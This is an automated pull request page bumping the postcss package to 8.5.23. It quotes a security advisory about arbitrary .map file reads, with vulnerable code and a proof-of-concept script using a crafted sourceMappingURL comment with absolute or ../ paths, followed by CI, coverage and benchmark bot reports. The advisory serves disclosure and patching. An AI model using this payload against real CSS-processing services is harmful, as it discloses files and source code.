Update npm package `postcss` to v8.5.23 [SECURITY] by hash-worker[bot] · Pull Request #9159 · hashintel/hash

hash-worker · 2026-08-04T17:12:49Z

This PR contains the following updates:

Package	Change	Age	Confidence
postcss (source)	`8.5.18` → `8.5.23`

PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset

CVE-2026-69153 / GHSA-fxqj-rqcc-2cmp

More information

Details

Summary

The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.

PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /*# sourceMappingURL=/abs/path/x.map */ (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.

Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)

// lib/previous-map.js
loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
    if (cssFile) {                       // guard runs ONLY when `from` is set
      let relativePath = relative(dirname(cssFile), path)
      if (relativePath === '..' ||
          relativePath.startsWith('..' + sep) ||
          isAbsolute(relativePath)) {
        return undefined
      }
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()   // sink
  }
}

// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
  let map = this.annotation
  if (file) map = join(dirname(file), map)   // no `from` -> map stays the raw URL
  let unknown = this.loadFile(map, file, false)  // file undefined -> cssFile falsy

Proof of concept (verified on postcss 8.5.22)

const postcss = require('postcss')
const fs = require('fs')

// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
  version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
  sourcesContent: ['TOP_SECRET_abcdef']
}))

const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')

;(async () => {
  // A) NO `from`  -> guard skipped -> arbitrary absolute .map read + disclosed
  const a = await postcss([]).process(css, { map: true })
  console.log('no from   -> leaked:', !!leaks(a.map))   // true

  // B) WITH `from` -> guard active -> blocked
  const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
  console.log('with from -> leaked:', !!leaks(b.map))    // false
})()

Observed output on postcss 8.5.22:

no from   -> leaked: true      # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map
with from -> leaked: false     # guard rejects the absolute path

../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.

Impact

Arbitrary .map-file read (absolute path or ../ traversal) and disclosure of the target map's sources (local filesystem paths) and sourcesContent (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a from option and exposes result.map (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in .map that parse as JSON.

Suggested fix

Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether cssFile is present (resolve against process.cwd() when there is no cssFile, and reject absolute paths and .. escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

postcss/postcss (postcss)

`v8.5.23`

Compare Source

Do not load source map without opts.from for security reasons.

`v8.5.22`

Compare Source

Fixed custom property losing semicolon before a comment (by @sarathfrancis90).

`v8.5.21`

Compare Source

Fixed childless at-rule losing semicolon before comment (by @sarathfrancis90).
Fixed docs (by @isker).

`v8.5.20`

Compare Source

Fixed missing space if AtRule#params is set after (by @sarathfrancis90).
Fixed mixing AST error on warnings (by @MahinAnowar).

`v8.5.19`

Compare Source

Fixed cleaning before for new nodes inserted to Root (by @MahinAnowar).

Configuration

📅 Schedule: (UTC)

Branch creation
- At any time (no schedule defined)
Automerge
- "before 4am every weekday,every weekend"

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate.

hash-worker · 2026-08-04T17:12:52Z

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

any of the package files in this branch needs updating, or
the branch becomes conflicted, or
you click the rebase/retry checkbox if found above, or
you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: yarn.lock

error This project's package.json defines "packageManager": "yarn@4.16.0". However the current global version of Yarn is 1.22.22.

Presence of the "packageManager" field indicates that the project is meant to be used with Corepack, a tool included by default with all official Node.js distributions starting from 16.9 and 14.19.
Corepack must currently be enabled by running corepack enable in your terminal. For more information, check out https://yarnpkg.com/corepack.

vercel · 2026-08-04T17:12:57Z

The latest updates on your projects. Learn more about Vercel for GitHub.

Project	Deployment	Updated (UTC)
hash	Error	Aug 4, 2026 5:13pm
hashdotdesign-tokens	Error	Aug 4, 2026 5:13pm
petrinaut	Error	Aug 4, 2026 5:13pm

cursor · 2026-08-04T17:13:01Z

PR Summary

Low Risk
Dependency-only security patch with no app logic changes; low risk aside from verifying lockfile/install consistency after merge.

Overview
Bumps the Yarn next/postcss resolution from 8.5.18 to 8.5.23 so PostCSS used through Next.js picks up a security fix.

8.5.23 stops loading external source maps when PostCSS runs without a from option, closing CVE-2026-69153 / GHSA-fxqj-rqcc-2cmp (arbitrary .map file read via attacker-controlled sourceMappingURL in CSS).

No application code changes—only the root package.json resolution.

^{Reviewed by Cursor Bugbot for commit c916ffc. Bugbot is set up for automated code reviews on this repo. Configure here.}

cursor

Cursor Bugbot has reviewed your changes and found 1 potential issue.

^{❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.}

Want reviews to match your repository better? Bugbot Learning can learn team-specific rules from PR activity. A team admin can enable Learning in the Cursor dashboard.

^{Reviewed by Cursor Bugbot for commit c916ffc. Configure here.}

cursor · 2026-08-04T17:15:36Z

    "jsondiffpatch": "0.7.2",
    "lodash": "4.18.1",
-    "next/postcss": "8.5.18",
+    "next/postcss": "8.5.23",


Lockfile omits PostCSS security bump

High Severity

next/postcss is bumped to 8.5.23 in package.json, but yarn.lock still has no postcss@8.5.23 entry (only 8.5.18 and 8.5.22). CI runs yarn install --immutable, so this will fail install and the security fix will not actually be applied.

^{Reviewed by Cursor Bugbot for commit c916ffc. Configure here.}

codspeed-hq · 2026-08-04T17:21:28Z

Merging this PR will degrade performance by 15.38%

⚠️

Different runtime environments detected

Some benchmarks with significant performance changes were compared across different runtime environments,
which may affect the accuracy of the results.

Open the report in CodSpeed to investigate

❌ 2 regressed benchmarks
✅ 96 untouched benchmarks

Warning

Please fix the performance issues or acknowledge them on CodSpeed.

Performance Changes

	Benchmark	`BASE`	`HEAD`	Efficiency
❌	`bit_matrix/dense/iter_row[64]`	140.8 ns	170 ns	-17.16%
❌	`bit_matrix/dense/iter_row[200]`	185.8 ns	215 ns	-13.57%

Tip

Investigate this regression by commenting @codspeedbot fix this regression on this PR, or directly use the CodSpeed MCP with your agent.

_{Comparing deps/js/npm-postcss-vulnerability (c916ffc) with main (5aa2a09)}

codecov · 2026-08-04T17:24:32Z

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 59.57%. Comparing base (ac5ec9c) to head (c916ffc).
⚠️ Report is 6 commits behind head on main.

Additional details and impacted files

@@           Coverage Diff           @@
##             main    #9159   +/-   ##
=======================================
  Coverage   59.57%   59.57%           
=======================================
  Files        1413     1413           
  Lines      138053   138053           
  Branches     6510     6510           
=======================================
+ Hits        82240    82241    +1     
+ Misses      54771    54770    -1     
  Partials     1042     1042

Flag	Coverage Δ
blockprotocol.type-system	`40.84% <ø> (ø)`
local.claude-hooks	`0.00% <ø> (ø)`
local.harpc-client	`51.49% <ø> (ø)`
local.hash-graph-sdk	`10.02% <ø> (ø)`
rust.antsi	`2.36% <ø> (ø)`
rust.error-stack	`90.81% <ø> (ø)`
rust.harpc-codec	`84.70% <ø> (ø)`
rust.harpc-net	`96.21% <ø> (+0.01%)`	⬆️
rust.harpc-tower	`67.03% <ø> (ø)`
rust.harpc-types	`0.00% <ø> (ø)`
rust.harpc-wire-protocol	`92.23% <ø> (ø)`
rust.hash-codec	`72.76% <ø> (ø)`
rust.hash-graph-api	`7.36% <ø> (ø)`
rust.hash-graph-authorization	`62.59% <ø> (ø)`
rust.hash-graph-embeddings	`91.88% <ø> (ø)`
rust.hash-graph-postgres-store	`29.66% <ø> (ø)`
rust.hash-graph-store	`42.16% <ø> (ø)`
rust.hash-graph-temporal-versioning	`47.95% <ø> (ø)`
rust.hash-graph-types	`0.00% <ø> (ø)`
rust.hash-graph-validation	`84.71% <ø> (ø)`
rust.hashql-ast	`89.63% <ø> (ø)`
rust.hashql-compiletest	`28.39% <ø> (ø)`
rust.hashql-core	`78.98% <ø> (ø)`
rust.hashql-diagnostics	`72.51% <ø> (ø)`
rust.hashql-eval	`79.82% <ø> (ø)`
rust.hashql-hir	`89.09% <ø> (ø)`
rust.hashql-mir	`87.92% <ø> (ø)`
rust.hashql-syntax-jexpr	`94.04% <ø> (ø)`

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:

❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

github-actions · 2026-08-04T18:32:33Z

Benchmark results

@rust/hash-graph-benches – Integrations

policy_resolution_large

Function	Value	Mean	Flame graphs
resolve_policies_for_actor	user: empty, selectivity: high, policies: 2002	$$26.3 \mathrm{ms} \pm 173 \mathrm{μs}\left({\color{lightgreen}-5.421 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: low, policies: 1	$$3.47 \mathrm{ms} \pm 18.5 \mathrm{μs}\left({\color{lightgreen}-7.017 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: medium, policies: 1002	$$14.1 \mathrm{ms} \pm 172 \mathrm{μs}\left({\color{gray}-3.356 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: high, policies: 3314	$$44.8 \mathrm{ms} \pm 340 \mathrm{μs}\left({\color{gray}-3.304 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: low, policies: 1	$$15.9 \mathrm{ms} \pm 128 \mathrm{μs}\left({\color{gray}-3.829 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: medium, policies: 1527	$$26.5 \mathrm{ms} \pm 204 \mathrm{μs}\left({\color{gray}-1.111 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: high, policies: 2078	$$27.8 \mathrm{ms} \pm 225 \mathrm{μs}\left({\color{gray}-4.432 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: low, policies: 1	$$3.74 \mathrm{ms} \pm 19.2 \mathrm{μs}\left({\color{lightgreen}-7.649 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: medium, policies: 1033	$$14.7 \mathrm{ms} \pm 102 \mathrm{μs}\left({\color{lightgreen}-5.903 \mathrm{\%}}\right) $$	Flame Graph

policy_resolution_medium

Function	Value	Mean	Flame graphs
resolve_policies_for_actor	user: empty, selectivity: high, policies: 102	$$3.85 \mathrm{ms} \pm 27.6 \mathrm{μs}\left({\color{lightgreen}-8.514 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: low, policies: 1	$$3.04 \mathrm{ms} \pm 16.8 \mathrm{μs}\left({\color{lightgreen}-8.362 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: medium, policies: 52	$$3.43 \mathrm{ms} \pm 20.3 \mathrm{μs}\left({\color{lightgreen}-8.141 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: high, policies: 269	$$5.38 \mathrm{ms} \pm 47.3 \mathrm{μs}\left({\color{lightgreen}-5.683 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: low, policies: 1	$$3.68 \mathrm{ms} \pm 22.8 \mathrm{μs}\left({\color{lightgreen}-5.844 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: medium, policies: 108	$$4.18 \mathrm{ms} \pm 27.3 \mathrm{μs}\left({\color{lightgreen}-11.113 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: high, policies: 133	$$4.58 \mathrm{ms} \pm 43.6 \mathrm{μs}\left({\color{lightgreen}-8.015 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: low, policies: 1	$$3.55 \mathrm{ms} \pm 23.2 \mathrm{μs}\left({\color{lightgreen}-9.331 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: medium, policies: 63	$$4.22 \mathrm{ms} \pm 33.9 \mathrm{μs}\left({\color{lightgreen}-8.263 \mathrm{\%}}\right) $$	Flame Graph

policy_resolution_none

Function	Value	Mean	Flame graphs
resolve_policies_for_actor	user: empty, selectivity: high, policies: 2	$$2.84 \mathrm{ms} \pm 46.0 \mathrm{μs}\left({\color{gray}2.83 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: low, policies: 1	$$2.57 \mathrm{ms} \pm 15.1 \mathrm{μs}\left({\color{gray}-0.290 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: medium, policies: 2	$$2.64 \mathrm{ms} \pm 19.6 \mathrm{μs}\left({\color{lightgreen}-5.076 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: high, policies: 8	$$2.96 \mathrm{ms} \pm 21.7 \mathrm{μs}\left({\color{gray}-3.049 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: low, policies: 1	$$2.79 \mathrm{ms} \pm 17.0 \mathrm{μs}\left({\color{gray}0.167 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: medium, policies: 3	$$2.94 \mathrm{ms} \pm 17.8 \mathrm{μs}\left({\color{gray}-3.981 \mathrm{\%}}\right) $$	Flame Graph

policy_resolution_small

Function	Value	Mean	Flame graphs
resolve_policies_for_actor	user: empty, selectivity: high, policies: 52	$$3.04 \mathrm{ms} \pm 19.0 \mathrm{μs}\left({\color{lightgreen}-10.904 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: low, policies: 1	$$2.79 \mathrm{ms} \pm 14.8 \mathrm{μs}\left({\color{lightgreen}-6.980 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: medium, policies: 26	$$3.03 \mathrm{ms} \pm 22.2 \mathrm{μs}\left({\color{lightgreen}-5.925 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: high, policies: 94	$$3.58 \mathrm{ms} \pm 27.2 \mathrm{μs}\left({\color{lightgreen}-7.285 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: low, policies: 1	$$3.12 \mathrm{ms} \pm 16.7 \mathrm{μs}\left({\color{gray}-2.574 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: medium, policies: 27	$$3.32 \mathrm{ms} \pm 16.3 \mathrm{μs}\left({\color{lightgreen}-13.948 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: high, policies: 66	$$3.36 \mathrm{ms} \pm 24.3 \mathrm{μs}\left({\color{lightgreen}-6.999 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: low, policies: 1	$$2.98 \mathrm{ms} \pm 16.8 \mathrm{μs}\left({\color{lightgreen}-8.240 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: medium, policies: 29	$$3.41 \mathrm{ms} \pm 21.9 \mathrm{μs}\left({\color{gray}-3.957 \mathrm{\%}}\right) $$	Flame Graph

read_scaling_complete

Function	Value	Mean	Flame graphs
entity_by_id;one_depth	1 entities	$$43.1 \mathrm{ms} \pm 247 \mathrm{μs}\left({\color{lightgreen}-9.638 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;one_depth	10 entities	$$34.4 \mathrm{ms} \pm 252 \mathrm{μs}\left({\color{lightgreen}-9.123 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;one_depth	25 entities	$$37.2 \mathrm{ms} \pm 253 \mathrm{μs}\left({\color{lightgreen}-5.863 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;one_depth	5 entities	$$52.6 \mathrm{ms} \pm 1.40 \mathrm{ms}\left({\color{red}31.5 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;one_depth	50 entities	$$45.3 \mathrm{ms} \pm 292 \mathrm{μs}\left({\color{gray}-4.301 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;two_depth	1 entities	$$51.3 \mathrm{ms} \pm 411 \mathrm{μs}\left({\color{gray}-3.480 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;two_depth	10 entities	$$42.5 \mathrm{ms} \pm 223 \mathrm{μs}\left({\color{gray}-1.959 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;two_depth	25 entities	$$89.6 \mathrm{ms} \pm 495 \mathrm{μs}\left({\color{lightgreen}-7.040 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;two_depth	5 entities	$$35.3 \mathrm{ms} \pm 230 \mathrm{μs}\left({\color{gray}-4.897 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;two_depth	50 entities	$$310 \mathrm{ms} \pm 1.02 \mathrm{ms}\left({\color{red}8.04 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;zero_depth	1 entities	$$11.6 \mathrm{ms} \pm 60.3 \mathrm{μs}\left({\color{gray}-4.727 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;zero_depth	10 entities	$$11.6 \mathrm{ms} \pm 67.5 \mathrm{μs}\left({\color{gray}-2.985 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;zero_depth	25 entities	$$11.5 \mathrm{ms} \pm 65.4 \mathrm{μs}\left({\color{gray}-4.239 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;zero_depth	5 entities	$$11.6 \mathrm{ms} \pm 92.1 \mathrm{μs}\left({\color{gray}-1.613 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;zero_depth	50 entities	$$11.5 \mathrm{ms} \pm 80.8 \mathrm{μs}\left({\color{gray}-3.342 \mathrm{\%}}\right) $$	Flame Graph

read_scaling_linkless

Function	Value	Mean	Flame graphs
entity_by_id	1 entities	$$11.7 \mathrm{ms} \pm 80.1 \mathrm{μs}\left({\color{gray}-0.375 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	10 entities	$$11.5 \mathrm{ms} \pm 80.9 \mathrm{μs}\left({\color{gray}-3.752 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	100 entities	$$11.4 \mathrm{ms} \pm 74.6 \mathrm{μs}\left({\color{gray}-4.955 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	1000 entities	$$11.6 \mathrm{ms} \pm 103 \mathrm{μs}\left({\color{lightgreen}-7.432 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	10000 entities	$$11.9 \mathrm{ms} \pm 63.5 \mathrm{μs}\left({\color{lightgreen}-7.054 \mathrm{\%}}\right) $$	Flame Graph

representative_read_entity

Function	Value	Mean	Flame graphs
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/block/v/1`	$$11.9 \mathrm{ms} \pm 153 \mathrm{μs}\left({\color{gray}1.01 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/book/v/1`	$$12.0 \mathrm{ms} \pm 114 \mathrm{μs}\left({\color{gray}2.94 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/building/v/1`	$$11.7 \mathrm{ms} \pm 75.4 \mathrm{μs}\left({\color{gray}-1.339 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/organization/v/1`	$$11.8 \mathrm{ms} \pm 66.3 \mathrm{μs}\left({\color{gray}-0.590 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/page/v/2`	$$11.8 \mathrm{ms} \pm 63.7 \mathrm{μs}\left({\color{gray}1.71 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/person/v/1`	$$11.6 \mathrm{ms} \pm 68.1 \mathrm{μs}\left({\color{gray}-1.545 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/playlist/v/1`	$$11.8 \mathrm{ms} \pm 60.6 \mathrm{μs}\left({\color{gray}-0.043 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/song/v/1`	$$12.0 \mathrm{ms} \pm 89.8 \mathrm{μs}\left({\color{gray}0.308 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/uk-address/v/1`	$$11.8 \mathrm{ms} \pm 71.3 \mathrm{μs}\left({\color{gray}-1.674 \mathrm{\%}}\right) $$	Flame Graph

representative_read_entity_type

Function	Value	Mean	Flame graphs
get_entity_type_by_id	Account ID: `bf5a9ef5-dc3b-43cf-a291-6210c0321eba`	$$8.69 \mathrm{ms} \pm 57.3 \mathrm{μs}\left({\color{gray}-0.808 \mathrm{\%}}\right) $$	Flame Graph

representative_read_multiple_entities

Function	Value	Mean	Flame graphs
entity_by_property	traversal_paths=0	0	$$66.9 \mathrm{ms} \pm 520 \mathrm{μs}\left({\color{red}7.23 \mathrm{\%}}\right) $$
entity_by_property	traversal_paths=255	1,resolve_depths=inherit:1;values:255;properties:255;links:127;link_dests:126;type:true	$$116 \mathrm{ms} \pm 614 \mathrm{μs}\left({\color{gray}1.67 \mathrm{\%}}\right) $$
entity_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:0;links:0;link_dests:0;type:false	$$72.5 \mathrm{ms} \pm 487 \mathrm{μs}\left({\color{gray}1.04 \mathrm{\%}}\right) $$
entity_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:0;links:1;link_dests:0;type:true	$$83.9 \mathrm{ms} \pm 450 \mathrm{μs}\left({\color{red}7.03 \mathrm{\%}}\right) $$
entity_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:2;links:1;link_dests:0;type:true	$$90.9 \mathrm{ms} \pm 505 \mathrm{μs}\left({\color{gray}2.23 \mathrm{\%}}\right) $$
entity_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:2;properties:2;links:1;link_dests:0;type:true	$$97.3 \mathrm{ms} \pm 529 \mathrm{μs}\left({\color{gray}2.84 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=0	0	$$45.6 \mathrm{ms} \pm 262 \mathrm{μs}\left({\color{gray}-0.818 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=255	1,resolve_depths=inherit:1;values:255;properties:255;links:127;link_dests:126;type:true	$$73.9 \mathrm{ms} \pm 444 \mathrm{μs}\left({\color{gray}-1.712 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:0;links:0;link_dests:0;type:false	$$52.4 \mathrm{ms} \pm 352 \mathrm{μs}\left({\color{gray}-0.341 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:0;links:1;link_dests:0;type:true	$$61.1 \mathrm{ms} \pm 309 \mathrm{μs}\left({\color{gray}-0.920 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:2;links:1;link_dests:0;type:true	$$63.9 \mathrm{ms} \pm 475 \mathrm{μs}\left({\color{gray}-0.259 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:2;properties:2;links:1;link_dests:0;type:true	$$63.1 \mathrm{ms} \pm 328 \mathrm{μs}\left({\color{gray}-3.593 \mathrm{\%}}\right) $$

scenarios

Function	Value	Mean	Flame graphs
full_test	query-limited	$$120 \mathrm{ms} \pm 485 \mathrm{μs}\left({\color{lightgreen}-9.267 \mathrm{\%}}\right) $$	Flame Graph
full_test	query-unlimited	$$135 \mathrm{ms} \pm 847 \mathrm{μs}\left({\color{gray}-4.460 \mathrm{\%}}\right) $$	Flame Graph
linked_queries	query-limited	$$24.8 \mathrm{ms} \pm 154 \mathrm{μs}\left({\color{red}24.9 \mathrm{\%}}\right) $$	Flame Graph
linked_queries	query-unlimited	$$556 \mathrm{ms} \pm 1.19 \mathrm{ms}\left({\color{gray}1.75 \mathrm{\%}}\right) $$	Flame Graph

Update npm package postcss to v8.5.23 [SECURITY]

c916ffc

hash-worker Bot assigned CiaranMn Aug 4, 2026

github-actions Bot added the area/deps Relates to third-party dependencies (area) label Aug 4, 2026

vercel Bot temporarily deployed to Preview – hashdotdesign-tokens August 4, 2026 17:13 Inactive

vercel Bot temporarily deployed to Preview – petrinaut August 4, 2026 17:13 Inactive

vercel Bot had a problem deploying to Preview – hash August 4, 2026 17:13 Failure

cursor Bot reviewed Aug 4, 2026

View reviewed changes

Navigation Menu

Uh oh!

Update npm package `postcss` to v8.5.23 [SECURITY] - #9159

Update npm package `postcss` to v8.5.23 [SECURITY]#9159
hash-worker[bot] wants to merge 1 commit into
mainfrom
deps/js/npm-postcss-vulnerability

hash-worker Bot commented Aug 4, 2026

Uh oh!

hash-worker Bot commented Aug 4, 2026

Uh oh!

vercel Bot commented Aug 4, 2026 •

edited

Loading

Uh oh!

cursor Bot commented Aug 4, 2026 •

edited

Loading

Uh oh!

cursor Bot left a comment

Uh oh!

cursor Bot Aug 4, 2026

Uh oh!

codspeed-hq Bot commented Aug 4, 2026

Uh oh!

codecov Bot commented Aug 4, 2026 •

edited

Loading

Uh oh!

github-actions Bot commented Aug 4, 2026

@rust/hash-graph-benches – Integrations

policy_resolution_large

policy_resolution_medium

policy_resolution_none

policy_resolution_small

read_scaling_complete

read_scaling_linkless

representative_read_entity

representative_read_entity_type

representative_read_multiple_entities

scenarios

Uh oh!

Reviewers

Assignees

Labels

Milestone

Development

Uh oh!

1 participant

Uh oh!

Conversation

hash-worker Bot commented Aug 4, 2026

PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when from is unset

Details

Summary

Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)

Proof of concept (verified on postcss 8.5.22)

Impact

Suggested fix

Severity

References

Release Notes

v8.5.23

v8.5.22

v8.5.21

v8.5.20

v8.5.19

Configuration

Uh oh!

hash-worker Bot commented Aug 4, 2026

⚠️ Artifact update problem

File name: yarn.lock

Uh oh!

vercel Bot commented Aug 4, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

cursor Bot commented Aug 4, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

PR Summary

Uh oh!

cursor Bot left a comment

Choose a reason for hiding this comment

Uh oh!

cursor Bot Aug 4, 2026

Choose a reason for hiding this comment

Lockfile omits PostCSS security bump

Uh oh!

codspeed-hq Bot commented Aug 4, 2026

Merging this PR will degrade performance by 15.38%

Performance Changes

Uh oh!

codecov Bot commented Aug 4, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Codecov Report

Uh oh!

github-actions Bot commented Aug 4, 2026

Benchmark results

@rust/hash-graph-benches – Integrations

policy_resolution_large

policy_resolution_medium

policy_resolution_none

policy_resolution_small

read_scaling_complete

read_scaling_linkless

representative_read_entity

representative_read_entity_type

representative_read_multiple_entities

scenarios

Uh oh!

Reviewers

Assignees

Labels

Milestone

Development

Uh oh!

1 participant

PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset

`v8.5.23`

`v8.5.22`

`v8.5.21`

`v8.5.20`

`v8.5.19`

